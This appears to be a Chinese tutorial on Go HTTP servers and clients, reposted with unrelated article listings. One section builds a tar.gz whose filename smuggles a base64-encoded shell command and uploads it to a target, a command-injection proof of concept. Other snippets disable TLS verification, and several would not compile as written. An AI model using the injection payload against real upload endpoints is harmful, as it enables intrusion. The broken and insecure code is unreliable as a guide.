用go实现http服务端和请求端

一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

  • 使用http.HandleFunc实现http服务,返回hello world
package mainimport ("fmt""net/http"
)func HelloHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello World")
}func main () {http.HandleFunc("/", HelloHandler)http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
package mainimport ("fmt""net/http"
)type HelloHandlerStruct struct {content string
}//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, handler.content)
}func main()  {http.Handle("/", &HelloHandlerStruct{content: "Hello World"})http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
package mainimport ("context""fmt""io/ioutil""log""net/http""os""os/signal""syscall""time"
)type EchoHandler struct{}func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {// 设置响应头writer.Header().Add("X-Data", "foo")// 设置相应的cookiehttp.SetCookie(writer, &http.Cookie{Name:   "x-cookie",Value:  "bar",MaxAge: 86400,Secure: true,})//设置响应状态码为200writer.WriteHeader(200)// 设置响应体,打印网络请求信息fmt.Fprintln(writer, "===== Network =====")fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)fmt.Fprintln(writer)// 设置响应体,打印请求方法 url host 协议信息fmt.Fprintln(writer, "===== Request Line =====")fmt.Fprintln(writer, "Method: ", request.Method)fmt.Fprintln(writer, "URL: ", request.URL)fmt.Fprintln(writer, "Host: ", request.Host)//fmt.Fprintln(writer, "URI: ", request.RequestURI)fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,request.ProtoMajor, request.ProtoMinor)fmt.Fprintln(writer)// 设置输出请求的请求头fmt.Fprintln(writer, "===== Header =====")for k, v := range request.Header {fmt.Fprintf(writer, "%v: %v\n", k, v)}fmt.Fprintln(writer)// 设置输出请求的bodybody, err := ioutil.ReadAll(request.Body)if err == nil && len(body) > 0 {fmt.Fprintln(writer, "===== Raw Body =====")fmt.Fprintln(writer, string(body))}
}func main() {// 创建系统信号接收器done := make(chan os.Signal)signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)// 创建 HTTP 服务器server := &http.Server{Addr:    ":8000",Handler: EchoHandler{},}// 启动 HTTP 服务器go func() {log.Println("Server starting...")if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {log.Fatalf("ListenAndServe: %v", err)}}()// 监听系统信号并执行关闭操作<-donelog.Println("Server shutting down...")// 创建一个超时上下文,确保关闭操作不会无限期等待ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)defer cancel()if err := server.Shutdown(ctx); err != nil {log.Fatal("Shutdown server:", err)}log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

package mainimport ("bytes""fmt""io/ioutil""net/http"
)func main() {// 目标 URLbaseUrl := "http://localhost"// 执行 GET 请求doGet(baseUrl + "/gettest")// 执行 POST 请求doPost(baseUrl + "/posttest")// 执行 POST Form 请求doPostForm(baseUrl + "/postform")
}func doGet(url string) {response, err := http.Get(url)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("GET Response:")fmt.Println(string(body))
}func doPost(url string) {// 准备 POST 请求的 JSON 数据jsonPayload := []byte(`{"key": "value"}`)response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))if err != nil {fmt.Println("POST request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Response:")fmt.Println(string(body))
}func doPostForm(url string) {// 准备 POST Form 数据data := url.Values{}data.Add("name", "Alice")data.Add("age", "30")response, err := http.PostForm(url, data)if err != nil {fmt.Println("POST Form request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Form Response:")fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLtargetURL := "https://example.com" // 替换为你的目标 URL// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间(秒)DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送 GET 请求response, err := client.Get(targetURL)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()// 读取响应内容body := make([]byte, 1024)n, err := response.Body.Read(body)if err != nil {fmt.Println("Error reading response:", err)return}// 输出响应内容fmt.Println("Response:")fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLbaseURL := "https://example.com" // 替换为你的目标 URLloginURL := baseURL + "/login"   // 登录 URLsecuredURL := baseURL + "/secured-resource" // 需要 Token 的 URL// 准备登录请求的数据loginData := url.Values{"user": {"admin"},"pass": {"123456"},}// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间(秒)DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送登录请求loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))if err != nil {fmt.Println("Error creating login request:", err)return}// 设置登录请求的头部和内容类型loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")for key, value := range headers {loginRequest.Header.Set(key, value)}loginResponse, err := client.Do(loginRequest)if err != nil {fmt.Println("Login request failed:", err)return}defer loginResponse.Body.Close()// 获取登录后的 Tokenvar token stringfor _, cookie := range loginResponse.Cookies() {if cookie.Name == "token" {token = cookie.Valuebreak}}if token == "" {fmt.Println("Login failed. No token received.")return}fmt.Println("Login successful. Token:", token)// 在后续请求中添加 Token 到请求头securedRequest, err := http.NewRequest("GET", securedURL, nil)if err != nil {fmt.Println("Error creating secured request:", err)return}securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头for key, value := range headers {securedRequest.Header.Set(key, value)}securedResponse, err := client.Do(securedRequest)if err != nil {fmt.Println("Secured request failed:", err)return}defer securedResponse.Body.Close()// 读取并输出响应内容responseBody, err := ioutil.ReadAll(securedResponse.Body)if err != nil {fmt.Println("Error reading response body:", err)return}fmt.Println("Secured resource response:")fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

package mainimport ("archive/tar""bytes""compress/gzip""crypto/tls""fmt""io""io/ioutil""mime/multipart""net/http""os"
)func main() {// 压缩文件内容tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")// 发送 HTTP POST 请求url := "https://example.com/upload" // 替换为你的目标 URLuploadTarGz(url, tarContent)
}func generateTarGzContent(filename string) []byte {var buf bytes.Buffergw := gzip.NewWriter(&buf)tw := tar.NewWriter(gw)// 添加文件到 tar 压缩包fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")header := &tar.Header{Name: filename,Size: int64(len(fileContent)),}if err := tw.WriteHeader(header); err != nil {fmt.Println("写入 tar 头部失败:", err)os.Exit(1)}if _, err := tw.Write(fileContent); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 tar 和 gzip 缓冲区if err := tw.Close(); err != nil {fmt.Println("关闭 tar 失败:", err)os.Exit(1)}if err := gw.Close(); err != nil {fmt.Println("关闭 gzip 失败:", err)os.Exit(1)}return buf.Bytes()
}func uploadTarGz(url string, tarContent []byte) {// 创建一个 Buffer,用于构建 multipart/form-data 请求体var requestBody bytes.Bufferwriter := multipart.NewWriter(&requestBody)// 写入 tar.gz 文件part, err := writer.CreateFormFile("file", "test.tar.gz")if err != nil {fmt.Println("创建表单文件失败:", err)os.Exit(1)}if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 multipart writerwriter.Close()// 创建 HTTP 请求req, err := http.NewRequest("POST", url, &requestBody)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}req.Header.Set("Content-Type", writer.FormDataContentType())// 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},}// 使用自定义 Transport 发起请求client := &http.Client{Transport: tr}response, err := client.Do(req)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("读取响应内容失败:", err)os.Exit(1)}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

5、设置http代理

package mainimport ("fmt""net/http""net/url""os"
)func main() {// 创建 HTTP 客户端,并设置代理proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址if err != nil {fmt.Println("解析代理地址失败:", err)os.Exit(1)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}// 创建 HTTP 请求url := "https://example.com" // 替换为您要请求的目标 URLrequest, err := http.NewRequest("GET", url, nil)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}// 发送 HTTP 请求response, err := client.Do(request)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody := make([]byte, 0)buffer := make([]byte, 1024)for {n, err := response.Body.Read(buffer)if n > 0 {responseBody = append(responseBody, buffer[:n]...)}if err != nil {break}}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

6、综合实践 

// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {//读取 RSA私钥文件privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)if err != nil {return "", err}//解析RSA私钥privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)if err != nil {return "", err}//创建jwttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)//使用私钥进行签名tokenString, err := token.SignedString(privateKey)return tokenString, nil
}// 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {//读取RSA公钥文件publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)if err != nil {return "", nil}//解析RSA 公钥publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)if err != nil {return "", err}//解析tokentoken, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {if token.Method != jwt.SigningMethodRS256 {return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])}return publicKey, nil})//检查解析是否成功if err != nil {return nil, err}//验证token是否有效if !token.Valid {return nil, fmt.Errorf("无效token")} else if claims, ok := token.Claims.(jwt.MapClaims); ok {//通过key获取具体的Claims值fmt.Println("touken有效,正在提取其中的Claims。。。。")return claims, nil} else {return nil, fmt.Errorf("token有效,但是无法提取Claims")}}func GetCookie(token, url string) (string, error) {//自定义请求头headers := map[string]string{"token":           token, //利用生成的token"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36","Accept":          " application/json, text/plain, */*","Accept-Encoding": "gzip, deflate","Content-Type":    "application/json","Accept-Language": "zh-CN,zh;q=0.9",}//fmt.Println("\nurl 为", baseurl)//创建代理/* 	proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址if err != nil {fmt.Println("解析代理地址失败", err)os.Exit(1)} */// 创建自定义 Transporttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证//TLSHandshakeTimeout: 10,                                    // 超时时间(秒)DisableKeepAlives:   true, // 禁用连接复用IdleConnTimeout:     30,   // 空闲连接超时时间(秒)MaxIdleConnsPerHost: 20,   // 每个主机的最大空闲连接数//ResponseHeaderTimeout: 10, // 响应头超时时间(秒)//Proxy: http.ProxyURL(proxyURL), //设置代理服务器}//创建自定义客户端client := &http.Client{Transport: tr,Timeout:   time.Second * 10, //设置请求的超时时间}//创建JSON请求体requestBody := map[string]interface{}{"username":            "123456","password": "1",}//将请求体编码为 JSON格式jsonData, err := json.Marshal(requestBody)if err != nil {fmt.Println("JSON 编码错误", err)return "", err}//创建post请求request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))if err != nil {fmt.Println("创建请求错误", err)return "", err}//设置请求头for key, value := range headers {request.Header.Set(key, value)}//发送POST请求response, err := client.Do(request)if err != nil {fmt.Println("\n请求错误:", err)return "", err}defer response.Body.Close()/* 	// 读取响应内容var responseStr stringbuf := new(bytes.Buffer)_, err = buf.ReadFrom(response.Body)if err != nil {return "", err}responseStr = buf.String()// 检查响应状态码if response.StatusCode != http.StatusOK {return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)}return responseStr, nil *///处理响应:仅针对返回body为json格式数据var responseBody map[string]interface{}decoder := json.NewDecoder(response.Body)if err := decoder.Decode(&responseBody); err != nil {fmt.Println("响应解析错误", err)return "", err}//输出响应fmt.Println("响应状态码:", response.Status)fmt.Println("响应数据ret:", responseBody["ret"])var retflag float64retflag = 1if responseBody["ret"].(float64) == retflag {setCookieHeaders := response.Header["Set-Cookie"]return setCookieHeaders[0], nil} else {return "", fmt.Errorf("错误信息:%s", responseBody["error"])}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/91829.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

泰国数字加密平台Bitkub创始人到访上海和数集团

2023年9月21日&#xff0c;泰国数字加密货币交易平台Bitkub创始人兼首席执行官&#xff08;CEO&#xff09;Jirayut Srupsrisopa (Topp)先生到访上海和数集团总部。董事长唐毅先生热情会见了来宾&#xff0c;双方进行了友好深入的交流。 和数集团国际部经理晋松&#xff1b;苏州…

BUUCTF reverse wp 76 - 80

[CISCN2018]2ex 四处游走寻找关键代码 int __fastcall sub_400430(int a1, unsigned int a2, int a3) {unsigned int v3; // $v0int v4; // $v0int v5; // $v0int v6; // $v0unsigned int i; // [sp8h] [8h]unsigned int v9; // [sp8h] [8h]int v10; // [spCh] [Ch]v10 0;for…

在 Python 中列出虚拟环境

文章目录 在Python中列出虚拟环境使用lsvirtualenv命令使用Conda命令使用workon命令 总结 虚拟环境是一个独立的环境&#xff0c;我们可以在其中安装库、包、脚本和Python解释器。如果你的项目需要不同版本的库或Python解释器&#xff0c;你可以为每个项目创建单独的虚拟环境。…

2.索引操作

1. 创建索引 创建索引就等于创建数据库&#xff0c;ES使用put操作创建索引&#xff0c;我们创建一个students的索引&#xff0c;只需要发生put请求&#xff1a;http://127.0.0.1:9200/students 2. 查看索引 2.1 查看所有索引&#xff1a; 使用http://127.0.0.1:9200/_cat/ind…

Firefox 开发团队对 Vue 3 进行优化效果显著

Mozilla 官方博客近日发表文章《Faster Vue.js Execution in Firefox》&#xff0c;介绍了 Firefox 开发团队对 Vue 3 进行的优化。 文章写道&#xff0c;在使用 Speedometer 3 对 Firefox 进行基准测试时&#xff0c;他们发现 Vue.js test 的测试结果从 Vue 2 升级到 Vue 3 后…

ElasticSearch 同步数据变少了

一、前言 这几天对接ES遇到几个坑&#xff0c;我们将一张库存表同步到ES发现Docs Count和我们表中的数据对不上&#xff0c;需要加上Docs deleted才对得上&#xff0c;也不知道批量写入数据为什么有些数据就会成 Docs deleted。 二、ID和版本号 ES中每一个Document都有一个_…

大规模语言模型--中文 LLaMA和Alpaca

中文LLaMA 尽管 LLaMA 和 Alpaca 在 NLP 领域取得了重大进展&#xff0c; 它们在处理中文语言任务时&#xff0c; 仍存在一些局限性。这 些原始模型在字典中仅包含数百个中文 tokens (可以理解为单词)&#xff0c;导致编码和解码中文文本的效率受到了很大 影响。 之前已经对…

数据结构--队列

一、队列是什么 队列是一种特殊的线性表&#xff0c;特殊之处在于它只允许在表的前端&#xff08;front&#xff09;进行删除操作&#xff0c;而在表的后端&#xff08;rear&#xff09;进行插入操作&#xff0c;队列是一种操作受限制的线性表。进行插入操作的端称为队尾&…

GEO生信数据挖掘(一)数据集下载和初步观察

检索到目标数据集后&#xff0c;开始数据挖掘&#xff0c;本文以阿尔兹海默症数据集GSE1297为例 目录 GEOquery 简介 安装并加载GEOquery包 getGEO函数获取数据&#xff08;联网下载&#xff09; 更换下载数据源 对数据集进行初步观察处理 GEOquery 简介 GEOquery是一个…

第1篇 目标检测概述 —(4)目标检测评价指标

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。目标检测评价指标是用来衡量目标检测算法性能的指标&#xff0c;可以分为两类&#xff0c;包括框级别评价指标和像素级别评价指标。本节课就给大家重点介绍下目标检测中的相关评价指标及其含义&#xff0c;希望大家学习之后…

【中秋国庆不断更】HarmonyOS对通知类消息的管理与发布通知(上)

一、通知概述 通知简介 应用可以通过通知接口发送通知消息&#xff0c;终端用户可以通过通知栏查看通知内容&#xff0c;也可以点击通知来打开应用。 通知常见的使用场景&#xff1a; 显示接收到的短消息、即时消息等。显示应用的推送消息&#xff0c;如广告、版本更新等。显示…

【中秋国庆不断更】OpenHarmony多态样式stateStyles使用场景

Styles和Extend仅仅应用于静态页面的样式复用&#xff0c;stateStyles可以依据组件的内部状态的不同&#xff0c;快速设置不同样式。这就是我们本章要介绍的内容stateStyles&#xff08;又称为&#xff1a;多态样式&#xff09;。 概述 stateStyles是属性方法&#xff0c;可以根…

机器人中的数值优化(十九)—— SOCP锥规划应用:时间最优路径参数化(TOPP)

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考&#xff0c;主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等&#xff0c;本系列文章篇数较多&#xff0c;不定期更新&#xff0c;上半部分介绍无约束优化&#xff0c;…

Vue3父子组件数据传递

getCurrentInstance方法 Vue2中&#xff0c;可以通过this来获取当前组件实例&#xff1b; Vue3中&#xff0c;在setup中无法通过this获取组件实例&#xff0c;console.log(this)打印出来的值是undefined。 在Vue3中&#xff0c;getCurrentInstance()可以用来获取当前组件实例…

SoloX:Android和iOS性能数据的实时采集工具

SoloX&#xff1a;Android和iOS性能数据的实时采集工具 github地址&#xff1a;https://github.com/smart-test-ti/SoloX 最新版本&#xff1a;V2.7.6 一、SoloX简介 SoloX是开源的Android/iOS性能数据的实时采集工具&#xff0c;目前主要功能特点&#xff1a; 无需ROOT/越狱…

新型信息基础设施IP追溯:保护隐私与网络安全的平衡

随着信息技术的飞速发展&#xff0c;新型信息基础设施在全球范围内日益普及&#xff0c;互联网已经成为我们社会和经济生活中不可或缺的一部分。然而&#xff0c;随着网络使用的增加&#xff0c;隐私和网络安全问题也引发了广泛关注。在这个背景下&#xff0c;IP&#xff08;In…

Docker的学习记录

Docker是一个被广泛使用的开源容器引擎&#xff0c;基于Go语言&#xff0c;遵从Apache2.0协议开源。 docker的三个概念&#xff1a;容器、镜像和仓库。 镜像&#xff08;Image&#xff09;&#xff1a;镜像是Docker中的一个模板。通过 Docker镜像 来创建 Docker容器&#xff…

angular 在vscode 下的hello world

Angulai 是google 公司开发的前端开发框架。Angular 使用 typescript 作为编程语言。typescript 是Javascript 的一个超集&#xff0c;提升了某些功能。本文介绍运行我的第一个angular 程序。 前面部分参考&#xff1a; Angular TypeScript Tutorial in Visual Studio Code 一…

Java之线程池的详细解析

1. 线程池 1.1 线程状态介绍 当线程被创建并启动以后&#xff0c;它既不是一启动就进入了执行状态&#xff0c;也不是一直处于执行状态。线程对象在不同的时期有不同的状态。那么Java中的线程存在哪几种状态呢&#xff1f;Java中的线程 状态被定义在了java.lang.Thread.Stat…

工厂与观察者模式

工厂模式介绍 通过一个加工厂&#xff0c;在这个工厂中添加对应材料&#xff0c;我们就可以得到想要的东西&#xff0c;在程序设计中&#xff0c;这种模式就叫做工厂模式&#xff0c;工厂生成出的产品就是某个类的实例&#xff0c;也就是对象。 关于工厂模式一共有三种&#…